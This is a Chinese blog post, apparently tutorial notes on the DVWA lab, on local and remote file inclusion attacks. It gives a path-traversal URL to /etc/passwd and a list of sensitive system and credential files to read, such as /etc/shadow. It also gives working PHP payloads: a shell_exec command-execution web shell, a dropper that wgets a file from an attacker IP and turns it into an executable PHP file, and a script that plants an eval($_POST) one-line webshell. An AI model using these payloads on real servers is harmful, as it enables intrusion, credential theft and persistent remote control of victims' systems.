本地包含和远程包含

最新推荐文章于 2022-10-07 23:00:02 发布

网络工程师小赵

最新推荐文章于 2022-10-07 23:00:02 发布

阅读量588

点赞数

文章标签：本地包含和远程包含本地包含远程包含

本文链接：https://blog.csdn.net/zwj2691591102/article/details/103151492

版权

本地包含和远程包含

本地包含：

http://IP/vulnerabilities/fi/?page=…/…/…/…/…/…/etc/passwd

使用本机包含可以访问被攻击者的敏感文件，从而达到收集信息的目的

etc/httpd/conf/httpd.conf /etc/rc.local 有时可以读出来apache的路径
/usr/local/apache/conf/httpd.conf /var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf /etc/apache/httpd.conf
/usr/local/lib/php.ini /etc/hosts.deny 定义禁止访问本机的主机 /etc/bashrc bash
shell 的系统全局配置 /etc/group 系统用户组的定义文件 /etc/httpd/httpd.conf /etc/issue
显示Linux核心的发行版本信息（用于本地登陆用户） /etc/issue/net
显示Linux核心和发行版本信息（用于远程登陆用户）----没成功 /etc/ssh/ssh_config ssh配置文件
/etc/termcap 终端定义和配置文件 /etc/xinetd.d /etc/mtab 包含当前安装的文件系统列表
有时可以读取到当前网站的路径 redhat-release:包含识别当前Red Hat 版本号的字符串
shells:列出可用在系统上的shell命令行解释器(bash,sh,csh等). /etc/vsftpd/vsftpd.conf
/etc/xinetd.conf xinetd 配置文件 /etc/protocols 列举当前可用的协议
/etc/logrotate.conf 维护 /var/log 目录中的日志文件 /etc/ld.so.conf
“动态链接程序”（Dynamic Linker）的配置。我在我的系统中安装了非常有用的 wget 实用程序。/etc/ 中有一个
/etc/wgetrc 文件 /etc/wgetrc Linux操作系统用户配置文件 /etc/passwd /etc/shadow
/etc/inputrc DNS客户机配置文件，设置DNS服务器的IP地址及DNS域名 /etc/resolv.conf
内容为Default Router的ip地址 Redhat 5.x: /etc/sysconfig/network
/etc/sendmail.cf (Linux) Sendmail(EMAIL服务器)配置文件 /etc/sendmail.cw 本地主机名

远程包含可以利用连接访问攻击者的页面，但是用被攻击者的资源进行解析

http://192.168.100.240/vulnerabilities/fi/?page=http://www.baidu.com

漏洞利用使用链接跳转到攻击者的页面上，执行php便可以生成木马文件。调用shell文件

<html>
<form action='wenjian' method='GET'>
a:<input type='text' name='cmd'>
<input type='submit' value='s',name='sub'>
</form>
<?php
$cmd=$_GET['cmd'];
echo $cmd;
echo shell_exec($cmd);
?>
</html>

木马生成文件

<?php
shell_exec("wget http://192.168.100.244/cmd.txt");
shell_exec("mv cmd.txt cmd.php && chmod 777 cmd.php");
echo shell_exec("ls -la");
?>

生成一句话木马

<?php
$payload = "<?php eval(\$_POST['shy']);?>";
$myfile = fopen("1.php", "w") or die("Unable to open file!");
fwrite($myfile,$payload);
fclose($myfile);
?>

网络工程师小赵

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
本地包含和远程包含

etc/httpd/conf/httpd.conf/etc/rc.local 有时可以读出来apache的路径/usr/local/apache/conf/httpd.conf/var/www/html/apache/conf/httpd.conf/home/httpd/conf/httpd.conf/usr/local/apache2/conf/httpd.conf/usr/local/httpd/conf/httpd.conf/etc/apache/httpd.conf/usr/loca
复制链接

扫一扫